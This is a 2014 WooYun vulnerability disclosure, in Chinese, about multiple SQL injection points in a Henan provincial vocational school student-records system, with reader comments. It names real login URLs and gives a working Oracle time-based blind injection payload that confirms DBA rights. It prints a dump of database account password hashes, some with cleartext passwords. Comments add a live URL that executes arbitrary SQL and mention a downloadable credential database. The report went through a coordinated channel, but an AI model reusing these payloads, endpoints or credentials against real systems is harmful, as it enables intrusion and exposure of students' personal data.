当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052552

漏洞标题：某省学校学生学籍管理系统多处SQL注入泄露大量信息

相关厂商：cncert国家互联网应急中心

漏洞作者： 小驴牙牙

提交时间：2014-03-03 19:05

修复时间：2014-04-17 19:06

公开时间：2014-04-17 19:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-03： 细节已通知厂商并且等待厂商处理中
2014-03-08： 厂商已经确认，细节仅向厂商公开
2014-03-18： 细节向核心白帽子及相关领域专家公开
2014-03-28： 细节向普通白帽子公开
2014-04-07： 细节向实习白帽子公开
2014-04-17： 细节向公众公开

简要描述：

SQL注入有多处

详细说明：

http://xj.vae.ha.cn/1/index.html 河南省职业学校学生学籍管理系统

hn.jpg


上面的登陆点即为POST注入点：
http://xj.vae.ha.cn/1/jyb/login.jsp password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/sjleader/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%20%20%C2%BC&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/bl/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC2008%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%C2%BC&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/sj/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%CA%A1%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/sx/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/xx/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%D0%A3%EF%BF%BD%EF%BF%BD%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634
http://xj.vae.ha.cn/1/xlrz/login.jsp password=88952634&Submit=%EF%BF%BD%EF%BF%BD%C2%BC%D1%A7%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%D6%A4%CF%B5%CD%B3&doCreate=true&username=88952634

漏洞证明：

以http://xj.vae.ha.cn/1/jyb/login.jsp password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634为例
DBA权限：

Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: password=88952634&Submit=%CA%A1%EF%BF%BD%EF%BF%BD%D2%B5%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD&doCreate=true&username=88952634' AND 9691=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(113)||CHR(90)||CHR(98),5) AND 'asYZ'='asYZ
---
web application technology: Servlet 3.0, JSP, JSP 2.2
back-end DBMS: Oracle
current user is DBA:    True


爆破Oracle数据库账户，发现有几个用户的密码为用户名：

database management system users password hashes:
[*] APEX_030200 [1]:
    password hash: A1387FC1F0AE6960
[*] APEX_PUBLIC_USER [1]:
    password hash: 632CB1553A5921F9
[*] APPQOSSYS [1]:
    password hash: 519D632B7EE7F63A
[*] CTXSYS [1]:
    password hash: 71E687F036AD56E5
[*] DBSNMP [1]:
    password hash: E5124780DDA48D26
[*] DIP [1]:
    password hash: CE4A36B8E06CA59C
[*] EXFSYS [1]:
    password hash: 33C758A8E388DEE5
[*] FLOWS_FILES [1]:
    password hash: 28A140FCC1F33914
[*] HR [1]:
    password hash: EC77DBE4E4BA0ABC
[*] MDDATA [1]:
    password hash: DF02A496267DEE66
[*] MDSYS [1]:
    password hash: 72979A94BAD2AF80
[*] MGMT_VIEW [1]:
    password hash: E84D48CE0C471046
[*] OLAPSYS [1]:
    password hash: 4AC23CC3B15E2208
[*] ORACLE_OCM [1]:
    password hash: 5A2E026A9157958C
[*] ORDDATA [1]:
    password hash: A93EC937FCD1DC2A
[*] ORDPLUGINS [1]:
    password hash: 88A2B2C183431F00
[*] ORDSYS [1]:
    password hash: 7EFA02EC7EA6B86F
    clear-text password: ORDSYS
[*] OUTLN [1]:
    password hash: 4A3BA55E08595C81
[*] OWBSYS [1]:
    password hash: 610A3C38F301776F
    clear-text password: OWBSYS
[*] OWBSYS_AUDIT [1]:
    password hash: FD8C3D14F6B60015
[*] SCOTT [1]:
    password hash: F894844C34402B67
[*] SI_INFORMTN_SCHEMA [1]:
    password hash: 84B8CBCA4D477FA3
[*] SPATIAL_CSW_ADMIN_USR [1]:
    password hash: 1B290858DD14107E
    clear-text password: SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR [1]:
    password hash: 7117215D6BEE6E82
[*] SYS [1]:
    password hash: D1F3A12BB91202B9
[*] SYSMAN [1]:
    password hash: 086A9CFC3EAD80CD
[*] SYSTEM [1]:
    password hash: E487AFDCB18BAD2C
[*] WMSYS [1]:
    password hash: 7C9BA362F8314299
[*] XDB [1]:
    password hash: 88D8364765FCE6AF
[*] XS$NULL [1]:
    password hash: DC4FCC8CB69A6733


测试到此，连接后应该是学籍信息

修复方案：

您懂

版权声明：转载请注明来源 小驴牙牙@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-03-08 11:31

厂商回复：

已经转由CNCERT下发给河南分中心处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-03-03 19:06 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    学习学习！认真学习！

  2. 2014-03-03 19:21 | 小驴牙牙 ( 普通白帽子 | Rank:168 漏洞数:43 | 不断学习，进步！)

    @光刃 谦虚了！

  3. 2014-03-03 20:00 | tnt1200 ( 普通白帽子 | Rank:121 漏洞数:17 | 关注飞机安全....)

    掉渣了！

  4. 2014-03-04 16:18 | pnck ( 路人 | Rank:0 漏洞数:1 | 渣一枚。)

    ……好多学校都不重视

  5. 2014-03-04 19:36 | 小驴牙牙 ( 普通白帽子 | Rank:168 漏洞数:43 | 不断学习，进步！)

    @pnck 嗯嗯！

  6. 2014-03-04 19:37 | 小驴牙牙 ( 普通白帽子 | Rank:168 漏洞数:43 | 不断学习，进步！)

    @tnt1200 哇，两个精华，佩服佩服

  7. 2014-03-09 13:02 | 路人N ( 路人 | Rank:12 漏洞数:8 )

    很多学校的教务系统都是奇葩。e.g:http://61.153.27.181:93/db.asp?action=get&sql=select%20sysdate%20from%20dual

  8. 2014-04-17 21:01 | 小森森 ( 路人 | Rank:11 漏洞数:2 | 不中二 枉少年)

    @路人N 厉害，居然还能这样提供接口

  9. 2014-04-17 22:07 | JohnWong ( 路人 | Rank:28 漏洞数:7 | Call me John. Silly John.)

    @路人N http://61.153.27.181:93/打开网址直接下载access数据库，还有导入数据的说明，包含账户密码什么的

  10. 2014-04-17 23:51 | 马云 ( 路人 | Rank:10 漏洞数:5 | 啪啪啪啪啪啪啪啪)

    楼上碉堡了，能群发

  11. 2014-04-18 09:10 | 路人N ( 路人 | Rank:12 漏洞数:8 )

    楼上那个我之前提交过一次、没通过 -_-!